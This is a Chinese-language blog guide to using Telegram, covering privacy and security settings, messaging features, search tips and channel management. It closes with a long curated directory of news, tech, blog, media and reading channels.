(对不起,你现在只能发送私信给双向联系人。),这表明此账号被判定为 Spam(垃圾信息)账号了。
如何解除私聊限制:在 Telegram 搜索 @SpamBot,点击 START
,然后依次点击底部出现的菜单或回复以下话术(仅供参考):
大概半小时之后(有些人要十几天),即可解除禁言。
另外,若用户在 24 小时内访问超过 200 个群组或频道的链接(点击打开就算访问,不需要加入),就会被打入冷宫 24 小时。禁闭期间,无法通过链接访问新的群组或频道(点击链接一直转圈而无法访问)。
依次点击 Setting
(设置)> Privacy and Security
(隐私和安全)
Phone number
(手机号码)> Who can see my phone number
(谁可以看到我的手机号码:Nobody
不允许任何人)
对隐私有要求,或者彻底解除 +86 开头的手机号码的私聊限制,可以把手机号码换绑到非中国区的手机号码,例如 Google Voice:
Google Voice
或 GV
,购买别人注册下来的号码。以及
Share my phone number with ***
。Forwarded messages: Nobody
(引用转发来源:不允许任何人)
启用此设置后,转发你的消息将无法指向(链接)回你的帐户,只会在 From ***
(来自***
)字段中显示一个无法点击的昵称(非用户名)。而昵称不是唯一的,所以通过这种方式,将没有证据证明某条消息是你发送的(无法溯源)。
Calls
> Peer-to-Peer
:Nobody
Telegram 为了提高语音通话的质量,默认采用端对端连接(Peer-to-Peer)。由于流量没有经过 Telegram 服务器中转,所以会暴露用户的 IP 地址。但是禁用端对端通话后,通话质量会略有下降。
另外,配合使用 Tor(The Onion Router、洋葱路由器)可以隐藏用户真实 IP 地址、避免网络监控及流量分析。
Passcode Lock
相当于给 Telegram 加上应用锁。这样一来,临时借用你设备的人也看不到你的小秘密。
设置完密码锁之后,可以在下方的自动锁(Auto-lock
)设定时长,一旦超过时长未操作,那么 Telegram 将自动上锁。或者在聊天列表页面上主动点击锁头图标,Telegram 就会立即锁定应用,新消息通知将不包括文本或发件人姓名。再次进入应用时,要求输入锁定码。
在 Android 客户端上,还可以关闭「在任务切换页面显示内容」(Show App Content in Task Switcher
),同时在 Telegram 内也无法截屏。
密码锁只在当前设备可用,不会同步到云端或其他设备,所以在不同的设备上可以设置不同的密码锁。如果忘记,只能重装 App,而且重新登录之后,需要重新设置新的密码锁,私密聊天(Secret Chat)也不会同步回来。
Two-step verification
(两步验证:添加密码提示和 ❗️ 安全邮箱 ❗️)
以后登录时,输入验证码后,还要输入密码。
Delete my account if away for 1 month/3 months/6 months/1 year
(删除我的帐户若离线时间达 1 个月 / 3 个月 / 6 个月 / 1 年)
自动删除:以上就是电报自带账户自毁机制(Account Self-Destruction)
主动删除:不想使用此账号,可 永久删除账户(Delete Account)
为什么要给账户设置自毁机制
Telegram 有一个非常人性化的特性:记忆浏览进度,打开对话界面会自动跳转到未读消息 Unread Messages
(The app restores your previous scroll position when you switch back to a chat)或者上次的未读位置。纵使重新安装 Telegram,没看完的消息,状态依旧是未读的。
打上句号之前,检查一遍内容是否有误,虽然 Telegram 支持无限期的(撤回)修改。
手机
电脑
点击引用的消息,就会向上滚动到原始消息(If you tap on the quote, the app scrolls up to the original message)。
假设从 Unread Messages
开始浏览动态(已发布 120 条 Post),遇到新消息引用了旧消息,例如庭说频道的第 100 条消息 https://t.me/tingtalk/100 引用第 56 条消息 https://t.me/tingtalk/56,点击引用的消息,即可定位到第 56 条消息。如何回到第 100 条消息,点击右下角的 🔽 就会回到第 100 条消息,而不是回到最新的消息(shows an arrow button to go back to the previous location. This makes navigating conversations in groups easy even if you've been away for a while)。这是一个非常动人的细节,深深地被 Telegram 折服。
电脑右击 / 手机点按被引用消息(右下角有个 ↶
),在弹出的菜单里选择 View * Reply
,就能展开所有对此话题的讨论(回复)。
学会插入超文本链接,避免冗长的 URL 霸屏(简短的网址例外),是一种网络美德。
采用有限的几种 Markdown 语法,例如:
**
bold**
~~
strikethrough~~
等宽字体
(前后加入一个重音符):`
monospace`
__
italic__
(原生 Markdown 语法是前后一个星号)Formatting
(格式选项)。Formatting | Shortcut for Windows |
---|---|
Bold(加粗 ) | Ctrl + B |
Italic(斜体) | Ctrl + I |
Underline(下划线) | Ctrl + U |
Ctrl + Shift + X |
|
Monospace (等宽字体) |
Ctrl + Shift + M |
Create link(超链接) | Ctrl + K |
Plain text(纯文本) | Ctrl + Shift + N |
重磅推荐 Ctrl
+ K
!简单几步,让排版清清爽爽。
BIU
(或许藏在 ▶️ 后面),即可看到文本格式化选项。如果觉得以上格式化文本的方法太麻烦,打乱了输入节奏,可在任意聊天框输入 @bold,接着使用 Markdown 编辑消息(最多输入 256 字符),最后选择 Custom markdown
。
任何以 #
开头的词组,以标点符号或空格结尾的词组(hashtags)都可以被点击搜索,也相当于用标签给消息分组。
康德说过:#自由 不是让你想做什么就做什么,自由是教你不想做什么,就可以不做什么。
消息发出后,#自由
就会变成一个可点击搜索的状态。
先选择想要发送的图片(不止于 9 张):
Send without compression
Send as a file
请注意:
支持时间戳(Timestamp):发送本地视频或 YouTube 视频时,在 Add a caption
(添加标题)里标记你最喜欢的时刻(mark your favorite moments),例如:
建议直接跳到 05:06 开始欣赏,有惊喜。
05:06
会自动高亮显示,点击 05:06
,视频就会从第 5 分 6 秒播放。其中 05:06
必填项,提示的话可以选填。
引用回复本地视频或 YouTube 视频也支持加入时间戳(Timestamps in replies and captions open videos and YouTube links to that exact moment.)。
你发现了吗?YouTube 和哔哩哔哩的评论区也是支持这种时间戳。
不支持时间戳的软件和网页,怎么办
复制当前时间的视频网址
参数说明
?t=
/ &t=
时间 timeh
时 hourm
分 minutes
秒 second发送视频时,可选择压缩等级。Change the resolution of a video from the editor’s quality slider.
内置视频播放器(in-app media player):
直接在 app 内观看 YouTube 或 Vimeo 视频,不必跳转到浏览器或者相应的视频 app。操作逻辑与国外视频 App 保持一致:双击左侧快退,双击右侧快进。
制作 GIF 动图
在发送视频时,点击视频打开编辑窗口,使其静音(tap the mute audio button),新的 GIF 就诞生了,还会自动保存在最近使用的 GIF 里(recent GIFs tab)。
手机上长按(电脑上右击)消息发送键:
Send without sound
(静音发送):纵使对方在睡觉,你的 urgent idea 也不会搅人春梦,简直就是为健忘的人而设计。Scheduled Message
(定时发送)
Send when * comes online
(当对方上线时发送):这样就可以排在对方聊天列表的前面(Put you right at the top of their chat list.)。此功能需要对方在隐私设置里开启展示最后上线时间(This option only appears for users who share their Last Seen status with you, and vice versa.)接收者可屏蔽联系人 / 群组 / 频道的消息通知(Mute Notifications):
点击消息,选择 Pin
,即可在频道、群组或私聊界面中置顶多个消息(Multiple Pinned Messages)。在群组中置顶消息时,可强制通知全员(notify all members),即使成员的群组已经设置为静音。
消息的读取状态(回执)分为两种
一个偷看消息的小技巧:在对话列表,长按头像可预览消息,但消息状态不会变为已读。(Pull up a preview of messages – without making messages as read. )
在 Telegram,说出去的话不会像泼出去的水收不回来,在 48 小时内(频道和群组是无限期修改),你都可以重新编辑(Edit your messages after posting),包括文字、图片和视频(Edit sent media to re-crop, re-decorate or completely replace photos and videos.),所以:
如何替换图片或视频?长按或右击消息,选择 Edit
:
并且支持直接标记别人发来的图片,修改完再发出去,无需保存在本地图库。Instantly edit and send back media you receive to add notations or decorations without saving it to your gallery.
在电脑端,把鼠标放在 edited
上,会显示最后修改消息的时间。
Also delete for ***
,聊天记录就可以双向删除。通话记录也支持这个特性(Call history can also be deleted for all sides at any time.)。电报服务器更不会存储被删除的聊天记录和通话记录,因此数据将彻底永远消失。Announce Messages 目前由 iOS 用户独占。你可以让 Siri 在你的耳机里大声读出你收到的信息,即使是在洗碗的时候也可以保持聊天的最新状态。
开启路径:iOS Settings > Notifications > Announce Messages。
此外,在 Telegram 上进行语音通话(打电话),需要在翻墙服务端/客户端开启 UDP 转发。
发起视频通话和音频通话后,如果屏幕上的 4 个 Emoji 一致,表示此连接已采用端到端加密,100% 安全。
Video Calls: All voice and video calls are protected with end-to-end encryption. To confirm your connection, compare the four emoji shown on screen. If they match with your partner’s, your call is 100% secure.
Emoji(绘文字)
按关键字搜索表情(Search emoji by keyword):在消息框输入关键词,就会弹出相关的 Emoji。
部分 Emoji 支持动态播放(Animated Emoji)
在任意聊天窗口发送 1 个 非礼勿视猿 🙈(See-No-Evil Monkey),再动 Ta 试试,可爱吧!查看更多被 Telegram 赋予「生命」的动态 Emoji,请参阅 Telegram Animated Emoji List。
以下表情符号可以作为打赌小游戏(Emoji Game)
发送单个 | 触发效果 |
---|---|
🎲 | 掷骰子 dice |
🎯 | 扔飞镖 darts |
🏀 | 投篮 basketball |
⚽ | 射门 football |
🎳 | 保龄球 bowling |
🎰 | 老虎机 jackpot / slot machine |
如何在句中(mid-message)快捷添加 Emoji?
语法是 :(英文半角冒号)
+ 关键词
。例如输入 I am :happy
,就会弹出开心相关的 Emoji,这样就不用从 Emoji 面板挑选 Emoji 了。
Stickers(表情包)
截至 2021 年 1 月 13 日,Telegram 上已有 20,000+ 免费的高清表情包。
在聊天窗口输入 @sticker + Emoji,可以检索所有与 Emoji 相关表情包,例如 @sticker 👍
。
在哪里找表情包
Search sticker sets
(只支持用英文关键词搜索)📤 如何导出电报上的表情包
🗜️ 在限制多多的微信 App 上,小于 1 MB 的 GIF 图片才会自动播放。如何压缩:
此时某些表情包可能大于 1 MB,需要再压一次:
为什么不用 Photoshop 压缩 GIF?因为会产生毛糙的白边。
两外,推荐一个可以批量修改图片尺寸的网站:iLoveIMG
只支持在群组和频道中发起,因为 they feel lonely in one-on-one chats.
发起人
投票者 / 答题者
缺点
Windows 的 Ctrl
等于 macOS 中 Command
⌘。
Ctrl
再点击 URL,直接打开链接,不必弹窗确认(Open this link? CANCEL / OPEN)。Ctrl
再旋转鼠标的滚轮,即可放大或缩小图片。公开(Public)的频道或群组,是可以被搜索引擎抓取的(The contents of public channels can be seen on the Web without a Telegram account and are indexed by search engines.),并且不注册 Telegram 账号也看到公开频道或群组中的内容,方法就是在 Public link(公开链接)中加一个 s
,例如在浏览器的地址栏输入 t.me/s/tingtalk,即可查阅庭说频道的所有内容。
一个用户最多可创建 10 个公开用户名(public usernames),包括公开的频道和群组。
去哪里找钟意的频道(Channel),群组(Group)和机器人(Bot)呢?
☝️ 在 Telegram 内直接搜索关键词,但中文搜索识别较差。例如,「庭说」的频道是 https://t.me/tingtalk
tingtalk
(t.me/
后面的字符就是 ID),可以准确识别。庭说
,可能无法识别。✌️ 在 Google 上搜索,配合一些 Google 搜索技巧:
关键词 + site:t.me
,例如 电子书 site:t.me关键词 + telegram 及其别称
,例如:电子书 telegram OR 电报 OR tg这也再次证明了 Telegram 的内容是可以被 Google 等搜索引擎抓取的。反观国内的互联网江湖,各自割据,搞得网民苦不堪言。就拿微信来说,你不能在 Google 或者百度搜到公众号文章,这也是庭说另开一个独立博客的原因。
👌 Telegram 搜索引擎(非官方),可能包含不少 NSFW 内容。
索引机器人
网页版
Search Filters: To quickly find a specific message or media item, search filters allow users to refine results by keyword, source, media type and time period – all at once. 这里指电报内的全局搜索。
隐藏技巧:如何按日期搜索?
2021
:2021 年01.2021
/ Jan 2021
:2021 年 1 月01.13.2021
:2021 年 1 月 13 日在任意对话窗口(例如 Saved Messages)输入 https://t.me
/ ID
/ 1
,例如 https://t.me/tingtalk/1
或者在浏览器的地址栏输入 https://t.me
/ s
/ ID
/ 1
,例如 https://t.me/s/tingtalk/1
就会跳转到该群组或频道(未删除的)第一条消息,在其上方,可以看到创建日期(Channel created)
Telegram 可以在多个设备上同时使用。以下是我的设备列表:
并且具备以下优势:
允许传送最大 2000 MiB 的文件,简直就是绝佳的「文件传输助手」:
在对话列表长按某个对话的左侧(头像)即可预览消息(Preview media)。
在对话列表长按某个对话的右侧:
Also delete for ***
,即可同时删除双方所有的聊天记录。
从 Settings
> Folders
进入 分组管理 设置:
默认分组
Creat New Folder(新建分组)时有以下筛选条件可选:
操作技巧
Settings
(设置)> Notifications and Sounds
(通知和声音)。Badge Counter
(未读消息数量显示):取消 Include Muted Chats
(包含已关闭通知的对话)如此设置,只有未静音的对话(私聊 / 群组 / 频道)来消息了,才会收到「小红点」。
此举只是暂时释放存储空间,因为媒体文件都会保留在 Telegram 云端,若需要可以再次下载,例如翻看历史消息的时候。
Settings
(设置)Data and Storage
(数据和存储)Storage Usage
(存储使用情况)Clear Telegram Cache
(清理缓存)每个人都可以通过 WhatsApp、 Line 和 KakaoTalk 等应用程序将聊天记录(包括视频和文档)迁移到 Telegram 上。以 WhatsApp 为例:
iOS
Android
借助 Telegram 的云存档功能,再也不用担心聊天记录丢失的问题。
⚠️此功能需在 Telegram 电脑版 上运行。
The original meaning of the paper plane on the Telegram logo means “freedom”. For us, freedom of choice and data portability are paramount. People should be in complete control over their own data – and their own lives. Telegram 标志上的纸飞机的原意是「自由」。对我们来说,选择自由和数据便携性是最重要的。人们应该完全控制自己的数据——以及自己的生活。by Pavel Durov
聊天历史会被存储在 Telegram 云端,但是也可以导出部分(或全部)聊天记录到电脑上离线回味,而且排版还是原来的样子。
你也可以导出 Telegram 的所有数据。对,是所有,不仅仅是聊天记录,还有账号信息:
Settings
> Advanced
> Export Telegram data
如何在 iOS 原生客户端查看敏感内容,例如 NSFW:
Settings
(设置)> Privacy and Security
(隐私和安全)。Sensitive content
(敏感内容)
Disable filtering
(关闭过滤)Show Sensitive Content
操作完成后,重新启动 iOS 原生客户端,即可 Display sensitive media in public channels on all your Telegram devices
(允许在您所有登录 Telegram 的设备上显示公共频道内的敏感内容)。
Channels 是向大众传播信息的完美工具(The perfect tool for broadcasting messages to the masses),类似微信公众号。
通过 Post Widget,你可以将频道或公共群组的任何消息嵌入到任何地方(You can embed messages from public groups and channels anywhere.)。
对于频道主
#
(标签)给消息分类,方便快速检索(点击高亮的关键词,或者在搜索框手动输入 # + 关键词
),然后把标签放在置顶信息里或者频道介绍里。*** pinned ***
Channel photo updated
Channel name was changed to ***
对于订阅者
如何通过 RSS 订阅 Telegram 频道
有些用户觉得 Telegram 用手机号码注册不安全,但是又想第一时间获得 Telegram 公开频道的更新,那么可以 借助 RSSHub 生成电报公开频道的 RSS 订阅链接,例如:
https://rsshub.app/telegram/channel/tingtalk
只要把 tingtalk
替换成其他公共频道的 Permanent link(永久链接)后缀即可。
2020 年 9 月 30 开始,电报频道原生支持评论功能(Channel Comments)
首先要 在频道的设置里绑定一个群聊(Group),频道中的每条新帖子(new post)都会自动转发到该群组并被置顶(Pin)。
频道发送消息后,有两个评论入口:
Leave a comment
即可进入留言板(无需加入讨论组)。通过 @LikeComBot 给频道的消息下增加 Emoji 按钮,例如 👍、👎、😐。
须知参差多态,乃是电报之福。术业有专攻,欢迎向我推荐其它领域的优质频道:
以下是我收集的频道,不代表同意其观点,也许为了丰富文章内容。如果你发现某些频道开始「作恶」了或者失效了,请联系我从这个列表中删除。
2021 年,你需要多运动,多吃蔬果,偶尔听 播客,放下手机早点睡觉,少看鸡零狗碎的消息。
频道 | 详情 |
---|---|
Telegram News | 👍 电报官方新闻频道。 |
Durov's Channel | 👍 杜罗夫(Telegram 创始人和 CEO)的频道。 |
TGgeek | 👍 TG 极客:分享 Telegram 使用技巧、重要资讯、常见问答、中文汉化、版本更新等信息。 |
Telegram Tips | 👍电报小贴士(Tips)官方频道。 |
电报小助手 | 用简体中文同步翻译来自 @TelegramTips 的小技巧。 |
Telegram APKs for Android | Official channel for Telegram Android APKs. You can also download them here. |
Telegram Designers | 向电报提你想要的功能 @design_bot |
Desktop Themes Channel | 电脑客户端主题创建指引 | Custom Themes 的简单介绍 |
Android Themes Channel | 安卓客户端主题创建指引 | 更多技术细节参阅 Custom Cloud Themes |
Telegram Auditions | 加入 Telegram Support Force,帮扶 Telegram 做大做强,详情参阅这份 Initiative。 |
Telegram Contests | Here we announce Telegram coding contests in Android Java, iOS Swift, JS, C/C++. |
ISIS Watch | 电报官方反恐频道:每日汇报有多少恐怖组织相关的频道被封了。 |
Trending Stickers | Telegram 又新增了哪些表情包。 |
紙飛機 | 欢迎搭乘纸飞机,Porsche 和你聊聊 Telegram 的大小事。播客 RSS 订阅链接。 |
Anti Revoke Plugin | Telegram 本地消息防撤回插件,安全性未知。GitHub 项目地址。 |
SCP-079-INFO | 免费并开源的群组管理机器人,需 申请 通过后才能使用。查看项目介绍。 |
SE-索引公告板 | Telegram 中文圈资源索引服务(包含 NSFW)。 |
电报指南 & 精品排行榜 | 👍 电报中文群组和频道收录。 |
CN 导航 | 中文导航频道。 |
频道 | 详情 |
---|---|
2019-nCoV 疫情实时播报 | 👍 COVID-19 中文消息 by NFNF。 |
Coronavirus Info | 各国官方疫情通报频道列表(A list of official channels with information on COVID-19)。 |
Financial Times: Coronavirus news | COVID-19 英文消息 by 金融时报。 |
在一个后真相时代,要分清事实和观点:
频道 | 详情 |
---|---|
看鉴中国 OutsightChina | 👍 一个健康的社会,不该只有一种声音。看鉴中国,每天聚焦一则关于中国的新闻事件,带你对比来自中外不同媒体多元的、不一样的观点。 |
乌鸦观察 | 👍 不定期推送新闻和杂谈。 |
有据 | China Fact Check 是一个专注于对中文国际资讯进行事实核查的计划,是基于志愿和网络协作原则的事实核查计划,努力连接大学、媒体和平台三方力量。 |
新闻实验室 | 推荐订阅方可成老师的 Newsletter。微信公众号文章备份。 |
南方周末 | 在这里,读懂中国。非官方。 |
iDaily | 每日环球视野。 |
新周刊 | 一本杂志和一个时代的体温。 |
南都观察 | RSS 地址:https://www.nanduguancha.cn/rss |
新闻联播(文字版) | 《新闻联播》是中国中央电视台每日在北京时间晚间 19:00 播出的一個重点时政新闻节目,于 1978 年 1 月 1 日启播。 |
中国数字时代消息推送 | 致力于聚合「中国的社会与政治新闻,和它在世界上的新兴的角色」有关的报道和评论。 |
多数派Masses | 我们是一群反对资本主义、反对帝国主义、反对父权制、反对一切压迫和宰制的青年。Matters 的创作空间站 | Newsletter |
60 秒读懂世界 | 来自 60 秒读懂世界公众号。 |
突发新闻 | 突发新闻推送服务(简体中文)。 |
NFW | News for Work, Not for Work. |
电报时报 | 提供全天候热点中国及国际新闻,涵盖突发新闻、时事、财经、娱乐、体育,评论、杂志和博客等。 |
蘋果日報 | Apple Daily 为香港上市公司壹传媒旗下繁体中文报纸,由大股东黎智英所创立,被民主派支持者普遍认为是香港目前唯一未被「染红」的媒体。by 维基百科 |
台湾 中央社 香港 苹果日报 | 如题。 |
竹新社 | 7×24 不定时编译国内外媒体的即时新闻报道。 |
NGOCN | NGOCN 是一家中国独立媒体,非营利性质,致力向公众提供进步、负责任且多元的纪实性内容,目前由认同其理念志愿者运营。 |
端傳媒 Initium Media | 由程式自動獲取並推送端傳媒 RSS 所有文章,链接至官网。 |
端传媒 RSS | 链接至 Telegraph 和官网。RSS 地址:https://rsshub.app/initium/latest/zh-hans |
端传媒 | 每日推送端传媒(付费)文章.pdf。手头宽裕,还是 付费购买端会员 或购买 新闻通讯 Newsletter。 |
🌐 国外媒体(简体中文)
频道 | 详情 |
---|---|
纽约时报中文网 | 👍 The New York Times (NYT) 创刊于 1851 年,世界上最著名的报纸之一。美国严肃报刊的代表,获得过 122 项普利策奖,是获奖最多的媒体。 |
BBC 中文网 | BBC News 是世界最大的公共广播公司,位于英国,资金主要来自英国国民缴纳的电视牌照费,是一家独立运作的公共媒体(非商业媒体,也不由英国政府控制)。 |
联合早报 | zaobao.sg 早报 + 晚报 + 新明新闻。 |
路透中文网 | Reuters 世界三大通讯社之一,成立于 1851 年,总部位于英国伦敦。 |
德国之声 | Deutsche Welle (DW) 按德国公法设立的国际化公共媒体,从联邦政府获得拨款,总部位于波恩和柏林。 |
澳大利亚广播公司 | Australian Broadcasting Corporation (ABC) 是澳大利亚的国家公共广播机构,它由政府出资,向澳大利亚和海外提供电台、电视、互联网服务。总部设在悉尼。 |
法国国际广播电台 | Radio France Internationale (RFI) 是法国专责世界大部分地区之国际广播的电台广播机构,现隶属法国国营国际广播公司法国世界媒体旗下。by 维基百科 |
美国之音中文网 | Voice of America (VOA) 成立于 1942 年 2 月,是美国政府对外设立和资助的国有非军事国际广播宣传喉舌,由美国国际媒体署管理,旗下拥有广播电台与电视台,总部座落在首都华盛顿。by 维基百科 |
华尔街日报 | RSS 地址:https://feedx.net/rss/wsj.xml |
俄罗斯卫星通讯社新闻 | Sputnik 是俄罗斯政府控制的新闻机构今日俄罗斯媒体集团于 2014 年 10 月开通的新闻通讯社、新闻网站、广播电台与媒体新闻中心。by 维基百科 |
韩国新闻 | 朝鲜日报 + 中央日报中文版 |
日本新闻 | 共同网 + 朝日新闻中文网 + 日本经济新闻中文版 |
双语新闻 | 纽约时报双语新闻 + 中国日报网英语点津 |
Twitter Subscription | 搬运以下 Twitter 账号:BBC News 中文、DW 中文- 德国之声、国际特赦组织中文、纽约时报中文网。 |
新闻播报 PDF | 每天为大家送来 NYT 和 BBC 的新闻 PDF。 |
What's News | 推送各种英文外刊和杂志的 PDF。 |
以上部分介绍来自西方媒体查一查。查询可信度和倾向性,请安装 浏览器插件,或者访问 微信小程序。
💸 财经新闻
频道 | 详情 |
---|---|
财经快讯 | 全球财经资讯 24 小时不间断直播。 |
FT 中文网 | Financial Times(金融时报)创刊于 1888 年,编辑总部位于伦敦,2015 年被日本经济新闻收购。 |
频道 | 详情 |
---|---|
少数派 | 👍 少数派致力于更好地运用数字产品或科学方法,帮助用户提升工作效率和生活品质。 |
Solidot | 👍 奇客的资讯,重要的东西。 |
Newlearnerの自留地 | 👍 不定期推送 IT 相关资讯。 |
Appinn Feed | 👍 分享免费、小巧、实用、有趣、绿色的软件。 |
科技爱好者周刊 | 👍 记录每周值得分享的科技内容,周五发布;非官方频道。科技爱好者周刊合集。 |
TestFlight 科技花 | 👍 发布科技新闻、App 测试版链接、软件使用相关话题。 |
Hacker News | Top stories from news.ycombinator.com (with 100+ score). |
科技圈的日常 | 科技圈内的大事小事。 |
Telegram 中文 NEWS | 聪聪 的频道:提供印象笔记、Telegram、科学上网等新闻。Telegram 知识汇总。 |
每日消费电子观察 | 不公正,不客观,不理性。 |
cnBeta | cnBeta.COM 中文业界资讯站是一个提供 IT 相关新闻资讯、技术文章和评论的观点的中文网站。 |
IT 之家 | RSS 地址:https://www.ithome.com/rss/ |
果核 Apple Nuts | 一个果粉(Hackl0us)的闲言碎语, 用来推送苹果(Apple) 相关的技术、新闻资讯、技巧、产品/软件心得体会等。 |
APPDO 数字生活指南 | 优质数字生活指南,传递数码生活和设计理念。 |
AppPie | Apple 相关的数字生活指南。 |
VPS 信号旗播报 | 关注 VPS 和通信自由。 |
硬核小卒 | 分享优质的科技/商业资讯。 |
知乎日报 | 越来越难用的问答网站。 |
Daily Tech News | 每日科技新闻。 |
每日 AWESOME 观察 | 每日更新分享最炫酷的开源项目。 |
LetITFly News | 主题包括但不限于 Android、Windows、Web、消费电子相关,吹水为主。 |
频道 | 详情 |
---|---|
庭说 | 👍 第一时间获取博客的更新通知以及碎片化思考。 |
小破不入渠 | 👍 科技评论人 Jesse Chan,博客是 大破进击。 |
一天世界 | 👍 一天世界,昆乱不挡。不鸟万如一主理。IPN 出品。 |
caoz 的梦呓 | 👍 认识曹政之后,感觉互联网终于入门了。by Fenng |
ZUOLUOTV | 👍 科技 / 旅行 / 摄影 / 生活方式 / 博客 |
不求甚解 | 👍 Newlearnerの自留地 编辑;设计师 oooooohmygosh 的代言人。 |
小道消息 | 大道无形,小道消息;公众号备份站点。 |
卖桃者说 | 博客是 MacTalk:池建强的随想录关注技术和人文。 |
数字移民 | 无法肉身移民的情况下,在数字生活上追求一定的自由;博客。 |
Real Spencer Woo | 开发者 / 设计师 / 少数派 / 学生 / 博客。 |
Sukka's Notebook | Belongs to Hexo dev team / 博客。 |
扫地僧笔记 | 每天所见所闻所想,是个树洞。 |
一方天地 | 心留一方天地,世界依旧美好。 |
湾区日报 | 关注创业与技术,不定期推送 5 篇优质英文文章。 |
海龙说 | 牢记梦想,自然生长。by 郝海龙的博客 |
荔枝木 | 这个世界很复杂,我尝试着去理解它。 |
KAIX.IN | 思考碎片,博客 更新。 |
TSBBLOG | 影子的博客:独立观察及记录。 |
AK 讲废话 | 科普视频系列:无线技术、显示技术、翻墙技术…… |
P3TERX ZONE | P3TERX 读作 Peter X。 |
值物志 | 分享各种值得尝试的事物:值得读的书、值得用的软件、值得看的电视剧…… |
小虎の自留地 | 讨论家装心得或者有趣实用的家具电器。 |
Leonn 的博客 | 低价主机(VPS)资源。 |
Yachen's Channel | 刘亚晨是 Surge 的开发者| Yachen's Blog |
BennyThink's Blog | 随便分享点什么,可能是某部剧,可能是某首歌,可能是一点点感动的瞬间,也可能是我最爱的老婆。 |
MolunSays | 希冀笔尖之下,世界兴旺繁华 | 博客 |
日常人间观察 | 关心科技 / 人文 / 艺术 / 城市公共空间 / 女性和性别议题 / 劳工权益 / 个体叙事 / 电影 / 音乐 / 书 / 星星…… |
In The Flux | 关于文化、艺术与技术的信息流。 |
为也行 | 「书籍 | 电影 | 资源 | 技巧 | 摸鱼图」大多原创,少部分转发。 |
Jerry Zhang 的频道 | 在渥太华的长春人。 博客:Overflow,向信息过载的世界大喊。 播客:《科技聚变》(TechFusion),我们谈论有关互联网的一切。 |
老人和糟 | 没有频道简介,科技相关。 |
Karen 医生の日常 | 一个小医生的通讯站。不想出名,只传播一些信息和科普。 |
𝑾𝒊𝒌𝒊𝑫𝑩 | The right way, or the easy way. |
人海拾贝FlipRadio | 翻转电台的 Channel,一些零零散散的要分享的东西。 |
Find Blog | 发现优秀的博客与创作者。 |
TomBen’s Web Excursions | PhD Student、Productivity Enhancer、Writing Enthusiast 博客 | 少数派 |
熊言熊语 | 「熊言熊语」是一档关注学习分享和知识科普的 播客 栏目,我们希望用声音记录改变与成长。思考问题的熊和他的朋友们一起聊学习工作、聊科研科普。 博客 | Newsletter |
中文独立博客列表 by timqian
频道 | 详情 |
---|---|
RSSHub 布告栏 | 万物皆可 RSS。 |
All About RSS | 关于 RSS 技术的应用、周边、介绍、方法、教程、指南、讨论、观点。 |
RSS 频道收集 | 收集推送 RSS 的频道,把 TG 变成 RSS 阅读器。 |
频道 | 详情 |
---|---|
4K 影视屋 | 蓝光无损电影。 |
电影频道 | 想看什么电影请在评论区留言。 |
远鉴字幕组发布频道 | 本字幕组致力于非院线海外电影及海外剧集的译制与分享。 |
人人影视字幕文件 | 这个频道与人人影视及其字幕组无任何关联。 |
霸王龙发布频道 | 做一个有温度,有思想,懂粉丝的压制组。 每天定时更新,选取优质影片源。 专注于韩美剧,经典的电影榜单。 |
苍炎影院 | 分享最新最热门的优质电影。 |
迷影果醬 | 无规律放映影片。 |
4K 影视屋 | 4K 电影种子发布频道。 |
四库全书视频精选 | 一个不断收集互联网有价值内容的企划。 |
电影爱好者 | 附带豆瓣电影评分。 |
频道 | 详情 |
---|---|
「利器x播客」计划 | 官网 |
独立播客 | 分享关于播客的一切。by Zac |
中文播客精选 | 分享精选优质中文播客,目前推荐单期节目为主。by 白昼电台 的主播 Stella |
Your Daily Dose of Podcast | 每天推荐一集让人心潮澎湃、若有所思、打开新世界大门的播客节目。by 穿堂风 推荐的播客会同步更新在 Medium 我在豆瓣上分享了 400 集播客节目,有什么用? |
交差点 | Technology alone is not enough. |
不客观 Not Objective | 一档搭建在 Telegram 的简易播客,纯主观感受。by 郝海龙 |
白昼电台 The Day | 黑夜已深,白昼将近,我们就当脱去暗昧的行为,带上光明的兵器。 |
维生素 E | 经济学与哲学知识分享。 |
Go 夜聊 | 一档由杨文和欧长坤主持的针对 Go 语言的播客节目 |
阿乐杂货铺 | 这里每日推送小人物播客及播客周边;职业发展、自我成长、读书电影、海外工作与生活碎片。 |
频道 | 详情 |
---|---|
知音 | 👍 发一些关于音乐的东西。 |
Imusic | 音乐,就是理想的挽歌,年代久远,依然飘扬。 |
杂鱼Music Channel | 我相信,爱音乐的人都有着一颗柔软的心。 |
音乐世界 | 温柔被我唱成了歌,伴你人山人海不停留。 |
心声:音乐分享频道 | 分享一些能引起共鸣的音乐。 |
每日一歌 | 愿你也能在这里找到属于你自己的共鸣。 |
Classical Music | 一起来听古典音乐吧。 |
蛙音通讯 | Feels wonderful again man. |
无损音乐频道 | 分享无损音乐、高品质音乐、原碟整轨分轨音频。 |
浦镇青年 | 李志。 |
崔健无损 | 中国大陆摇滚先驱者。 |
音乐分享频道 | 一般为无损音乐。 |
音乐屋 | 发现音乐新世界:live、黑胶、磁带 |
下载音乐,还可以查阅下文中提到的音乐机器人。
人类的悲喜并不互通,但读书是走向共同理解的捷径。
频道 | 详情 |
---|---|
Word Power Made Easy | 利用词根(原始印欧语、拉丁语、古希腊语)学习英语单词。 |
英语精读学习 | 夜空中最亮的星,就是你自己!我们一起精读英语,一起进步,遇见更好的自己吧!资料不定时更新哟! |
ENGLISH PODCASTS | INFINITY PODCASTS CHANNEL WITHOUT ANY LIMITS. |
中文社科讲座资讯 | 一个讲座信息聚合和 PPT 共享平台。 |
ReadFine 电子书屋 | 致力于电子书分享的读书频道。EPUB 电子书一站式阅读体验(包括豆瓣评分、书籍简介、封面截图),一键下载,享受读趣。 |
什么书值得读 | 仅推送某亚原版资源,可同时下载 .azw3 .epub .mobi 的电子书。 |
好书分享频道 | 学习,是一辈子的大事。 |
小声读书 | 一个探索数字阅读可能性和未来的开放项目,致力于打破信息茧房,挖掘价值信息。 |
值得一看的文章 | 阅读更少,收获更多。 |
云上报刊亭 | 英文报刊杂志、电子书、报纸和外文杂志精选。 |
Λ-Reading | 分享书和阅读、认知科学、科技哲学、新科技以及其它给生活带来一丝美好的事物 | Newsletter |
臭(xiù)文字 | 诗歌频道;我是一个嗅觉特别发达的人,你说,然而,没有一种艺术可供我的鼻子用武,只有生命可以。 |
已有丹青約[書畫] | 高清油画档案(超过两万张)。 |
插播一个免费的广告:学英语,推荐购买郝海龙老师的《英语自学手册》(¥119)。
软件
频道 | 详情 |
---|---|
Fndroid 的日常 | 👍 Clash for Windows |
Clash .NET 公告 | A Clash GUI Proxy For Windows Based On .NET 5 |
